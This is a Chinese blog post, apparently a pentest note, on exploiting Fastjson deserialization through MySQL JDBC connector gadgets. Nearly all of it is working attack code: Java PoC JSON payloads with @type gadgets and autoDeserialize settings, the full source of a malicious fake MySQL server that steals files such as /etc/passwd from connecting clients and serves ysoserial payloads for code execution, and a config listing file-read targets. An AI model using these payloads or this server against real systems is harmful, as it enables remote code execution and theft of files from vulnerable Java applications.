zoukankan      html  css  js  c++  java
  • Fastjson Mysql JDBC 反序列化

    Mysql 利用链

    SSRF链通杀5.1.x所有版本,但只有5.1.11至5.1.48可反序列化

    mysql 5.1.11

    Test1.java

    import com.alibaba.fastjson.JSON;
    
    public class Test1 {
        public static void main(String[] args){
            String json2="{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }";
    //        String json2="{ "name": { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false" } } }}";
    //        String json2="{ "name": { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false" } } }}";
    
            Object obj1 = JSON.parse(json2);
            System.out.println(obj1);
        }
    }
    
    

    依赖

            <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>5.1.12</version>
            </dependency>
    

    本地搭建恶意服务器
    server.py

    import asyncio
    import logging
    import signal
    import random
    signal.signal(signal.SIGINT, signal.SIG_DFL)
    
    from mysqlproto.protocol import start_mysql_server
    from mysqlproto.protocol.base import OK, ERR, EOF
    from mysqlproto.protocol.flags import Capability
    from mysqlproto.protocol.handshake import HandshakeV10, HandshakeResponse41, AuthSwitchRequest
    from mysqlproto.protocol.query import ColumnDefinition, ColumnDefinitionList, ResultSet,FileReadPacket
    import subprocess
    import time
    
    
    @asyncio.coroutine
    def accept_server(server_reader, server_writer):
        task = asyncio.Task(handle_server(server_reader, server_writer))
    
    @asyncio.coroutine
    def process_fileread(server_reader, server_writer,filename):
        print("Start Reading File:"+filename.decode('utf8'))
        FileReadPacket(filename).write(server_writer)
        yield from server_writer.drain()
        #server_writer.reset()
        #time.sleep(3)
        
        isFinish = False
        outContent=b''
        outputFileName="%s/%s___%d___%s"%(fileOutputDir,server_writer.get_extra_info('peername')[:2][0],int(time.time()),filename.decode('ascii').replace('/','_').replace('\','_').replace(':','_'))
        while not isFinish:
            packet = server_reader.packet()
            while True:
                fileData = (yield from packet.read())
                #当前packet没有未读取完的数据
                if fileData == '':
                    break
                #空包,文件读取结束
                if fileData == b'':
                    isFinish = True
                    break
                outContent+=fileData
        if len(outContent) == 0:
            print("Nothing had been read")
        else:
            if displayFileContentOnScreen:
                print("========File Conntent Preview=========")
                try:
                    print(outContent.decode('utf8')[:1000])
                except Exception as e:
                    #print(e)
                    print(outContent[:1000])
                print("=======File Conntent Preview End==========")
            if saveToFile:
                with open(outputFileName,'wb') as f:
                    f.write(outContent)
                print("Save to File:"+outputFileName)
        #OK(capability, handshake.status).write(server_writer)
        #server_writer.close()
        return
    
    @asyncio.coroutine
    def handle_server(server_reader, server_writer):
        handshake = HandshakeV10()
        handshake.write(server_writer)
        print("Incoming Connection:"+str(server_writer.get_extra_info('peername')[:2]))
        yield from server_writer.drain()
        switch2clear=False
        handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability)
        username = handshake_response.user
        print("Login Username:"+username.decode("ascii"))
        #print("<=", handshake_response.__dict__)
        #检测是否需要切换到mysql_clear_password
        if username.endswith(b"_clear"):
            switch2clear = True
            username = username[:-len("_clear")]
        capability = handshake_response.capability_effective
    
        if (Capability.PLUGIN_AUTH in capability and
                handshake.auth_plugin != handshake_response.auth_plugin
                and switch2clear):
            print("Switch Auth Plugin to mysql_clear_password")
            AuthSwitchRequest().write(server_writer)
            yield from server_writer.drain()
            auth_response = yield from server_reader.packet().read()
            print("<=", auth_response)
    
        result = OK(capability, handshake.status)
        result.write(server_writer)
        yield from server_writer.drain()
    
        while True:
            server_writer.reset()
            packet = server_reader.packet()
            try:
                cmd = (yield from packet.read(1))[0]
            except Exception as _:
                #TODO:可能会出问题 ┓( ´∀` )┏
                return
                pass
            print("<=", cmd)
            query =(yield from packet.read())
            if query != '':
                query = query.decode('ascii')
            if username.startswith(b"fileread_"):    
                yield from process_fileread(server_reader, server_writer,username[len("fileread_"):])
                result = OK(capability, handshake.status)
                #return 
            elif username in fileread_dict:
                #query =(yield from packet.read())
                yield from process_fileread(server_reader, server_writer,fileread_dict[username])
                result = OK(capability, handshake.status)
                #return 
            elif username not in yso_dict and not username.startswith(b"yso_"):
                #query =(yield from packet.read())
                yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles))
                result = OK(capability, handshake.status)
            elif cmd == 1:
                result =ERR(capability)
                #return
            elif cmd == 3:
                #query = (yield from packet.read()).decode('ascii')
                if 'SHOW VARIABLES'.lower() in query.lower():
                        print("Sending Fake MySQL Server Environment Data")
                        ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer)
                        EOF(capability, handshake.status).write(server_writer)
                        ResultSet(("max_allowed_packet","67108864")).write(server_writer)
                        ResultSet(("system_time_zone","UTC")).write(server_writer)
                        ResultSet(("time_zone","SYSTEM")).write(server_writer)
                        ResultSet(("init_connect","")).write(server_writer)
                        ResultSet(("auto_increment_increment","1")).write(server_writer)
                        result = EOF(capability, handshake.status)
                elif username in yso_dict:
                        #Serial Data
                        print("Sending Presetting YSO Data with username "+username.decode('ascii'))
                        ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
                        EOF(capability, handshake.status).write(server_writer)
                        ResultSet(("11",yso_dict[username],"2333")).write(server_writer)
                        result = EOF(capability, handshake.status)
                elif username.startswith(b"yso_"):
                    query =(yield from packet.read())
                    _,yso_type,yso_command = username.decode('ascii').split("_")
                    print("Sending YSO data with params:%s,%s" % (yso_type,yso_command))
                    content = get_yso_content(yso_type,yso_command)
                    ColumnDefinitionList((ColumnDefinition('a'),ColumnDefinition('b'),ColumnDefinition('c'))).write(server_writer)
                    EOF(capability, handshake.status).write(server_writer)
                    ResultSet(("11",content,"2333")).write(server_writer)
                    result = EOF(capability, handshake.status)
                elif query.decode('ascii') == 'select 1':
                    ColumnDefinitionList((ColumnDefinition('database'),)).write(server_writer)
                    EOF(capability, handshake.status).write(server_writer)
                    ResultSet(('test',)).write(server_writer)
                    result = EOF(capability, handshake.status)
                else:
                    result = OK(capability, handshake.status)
    
            else:
                result = ERR(capability)
    
            result.write(server_writer)
            yield from server_writer.drain()
    
    yso_dict={
    
    }
    def get_yso_content(yso_type,command):
        popen = subprocess.Popen([javaBinPath, '-jar', ysoserialPath, yso_type, command], stdout=subprocess.PIPE)
        file_content = popen.stdout.read()
        return file_content
    def addYsoPaylod(username,yso_type,command):
        yso_dict[username] = get_yso_content(yso_type,command)
    
    
    
    logging.basicConfig(level=logging.INFO)
    
    fileOutputDir="./fileOutput/"
    displayFileContentOnScreen = True
    saveToFile=True
    fileread_dict={
    
    }
    ysoserialPath = './ysoserial.jar'
    javaBinPath = 'java'
    defaultFiles = []
    if __name__ == "__main__":
        import json
        with open("config.json") as f:
            data = json.load(f)
        
        if 'config' in data:
            config_data = data['config']
            if 'ysoserialPath' in config_data:
                ysoserialPath = config_data['ysoserialPath']
            if 'javaBinPath' in config_data:
                javaBinPath = config_data['javaBinPath']
            if 'fileOutputDir' in config_data:
                fileOutputDir = config_data['fileOutputDir']
            if 'displayFileContentOnScreen' in config_data:
                displayFileContentOnScreen = config_data['displayFileContentOnScreen']
            if 'saveToFile' in config_data:
                saveToFile = config_data['saveToFile']
        import os
        try:
            os.makedirs(fileOutputDir)
        except FileExistsError as _:
            pass
        for k,v in data['fileread'].items():
            if k == '__defaultFiles':
                defaultFiles = v
                for i in range(len(defaultFiles)):
                    defaultFiles[i] = defaultFiles[i].encode('ascii')
            else:
                fileread_dict[k.encode('ascii')] = v.encode('ascii')
        
        #print(fileread_dict)
        if "yso" in data:
            for k,v in data['yso'].items():
                addYsoPaylod(k.encode('ascii'),v[0],v[1])
        #print(yso_dict)
        loop = asyncio.get_event_loop()
        f = start_mysql_server(handle_server, host=None, port=3306)
        print("===========================================")
        print("MySQL Fake Server")
        print("Author:fnmsd(https://blog.csdn.net/fnmsd)")
        print("Load %d Fileread usernames :%s" % (len(fileread_dict),list(fileread_dict.keys())))
        print("Load %d yso usernames :%s" % (len(yso_dict),list(yso_dict.keys())))
        print("Load %d Default Files :%s" % (len(defaultFiles),defaultFiles))
        print("Start Server at port 3306")
        loop.run_until_complete(f)
        loop.run_forever()
    
    

    config.json

    {
        "config":{
            "ysoserialPath":"./ysoserial.jar",
            "javaBinPath":"java",
            "fileOutputDir":"./fileOutput/",
            "displayFileContentOnScreen":true,
            "saveToFile":true
        },
        "fileread":{
            "win_ini":"c:\windows\win.ini",
            "win_hosts":"c:\windows\system32\drivers\etc\hosts",
            "win":"c:\windows\",
            "linux_passwd":"/etc/passwd",
            "linux_hosts":"/etc/hosts",
            "index_php":"index.php",
            "ssrf":"https://www.baidu.com/",
            "__defaultFiles":["/etc/hosts","c:\windows\system32\drivers\etc\hosts"]
        },
        "yso":{
            "Jdk7u21":["Jdk7u21","open /System/Applications/Calculator.app"],
            "CommonsCollections10":["CommonsCollections10","open /System/Applications/Calculator.app"],
            "CommonsCollections5":["CommonsCollections5","open /System/Applications/Calculator.app"]
        }
    }
    

    mysql 6.0.2/6.0.3(反序列化)

    tes1.java

    import com.alibaba.fastjson.JSON;
    
    public class Test1 {
        public static void main(String[] args){
    //        String json2="{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }";
            String json2="{ "name": { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=CommonsCollections5" } } }}";
    //        String json2="{ "name": { "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false" } } }}";
    
            Object obj1 = JSON.parse(json2);
            System.out.println(obj1);
        }
    }
    
    

    依赖

            <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>6.0.2</version>
            </dependency>
    

    @jingqi
    参考:
    https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
    https://github.com/fnmsd/MySQL_Fake_Server
    https://github.com/1aker/Fastjson-pentest

    Pickmea,lets do it!
  • 相关阅读:
    spring源码学习(一) 小小少年
    mysql索引 小小少年
    Java集合框架个人学习笔记 小小少年
    记录一些自己百度到的问题解决方法
    基于内容的医学图像总结
    黑客与画家 第一章
    问题,不是逃避的
    黑客与画家 第二章
    记录最近一周的感受
    暗时间之体会
  • 原文地址:https://www.cnblogs.com/pickmea/p/15157189.html
Copyright © 2011-2022 走看看